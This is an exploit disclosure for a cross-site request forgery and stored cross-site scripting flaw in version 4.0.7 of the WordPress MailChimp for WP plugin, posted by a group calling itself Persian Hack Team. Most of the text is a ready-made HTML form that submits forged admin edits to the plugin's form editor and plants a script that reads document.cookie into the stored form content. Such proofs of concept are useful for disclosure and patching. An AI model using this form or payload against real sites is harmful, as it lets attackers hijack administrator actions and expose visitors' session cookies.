WordPress MailChimp 4.0.7 Cross Site Request Forgery / Cross Site Scripting

`######################  
# Exploit Title : WordPress Plugin MailChimp 4.0.7 - Cross-Site Request Forgery / Persistent Cross-Site Scripting  
# Exploit Author : Persian Hack Team  
# Vendor Homepage : https://wordpress.org/plugins/mailchimp-for-wp/  
# Category: [ Webapps ]  
# Tested on: [ Win ]  
# Version: 4.0.7  
# Date: 2016/11/19  
######################  
#  
# PoC:  
# I would like to disclose CSRF and stored XSS vulnerability in Wordpress plugin MailChimp 4.0.7.  
# Demo Construction : http://persian-team.ir/showthread.php?tid=192  
# The Code for CSRF.html is :  
  
<form action="http://localhost/wp/wp-admin/admin.php?page=mailchimp-for-wp-forms&view=edit-form&form_id=60" method="POST">  
  
  
Title:<input type="text" name="mc4wp_form[name]" size="30" value="For Testing" id="title" spellcheck="true" autocomplete="off" placeholder="Enter the title of your sign-up form" style="line-height: initial;" >  
<input type="submit" style="display: none; " />  
<input type="hidden" name="_mc4wp_action" value="edit_form" />  
<input type="hidden" name="mc4wp_form_id" value="60" />  
<input type="hidden" id="_mc4wp_nonce" name="_mc4wp_nonce" value="ad1a3e81af" />  
<input type="hidden" name="_wp_http_referer" value="/wp/wp-admin/admin.php?page=mailchimp-for-wp-forms&view=edit-form&form_id=60" />  
  
<h2>Form Fields</h2>  
  
  
<textarea class="widefat" cols="160" rows="20" id="mc4wp-form-content" name="mc4wp_form[content]" placeholder="Enter the HTML code for your form fields.." autocomplete="false" autocorrect="false" autocapitalize="false" spellcheck="false">  
  
<script>alert(document.cookie)</script><p>  
  
</textarea>  
  
<input type="hidden" id="required-fields" name="mc4wp_form[settings][required_fields]" value="" />  
  
<input type="submit" name="submit" id="submit" class="button button-primary" value="Save Changes" /></p>  
  
</form>  
  
#  
######################  
# Discovered by : Mojtaba MobhaM  
# Greetz : T3NZOG4N & FireKernel & Dr.Askarzade & Masood Ostad & Dr.Koorangi & Milad Hacking & JOK3R And All Persian Hack Team Members  
# Homepage : http://persian-team.ir  
######################  
`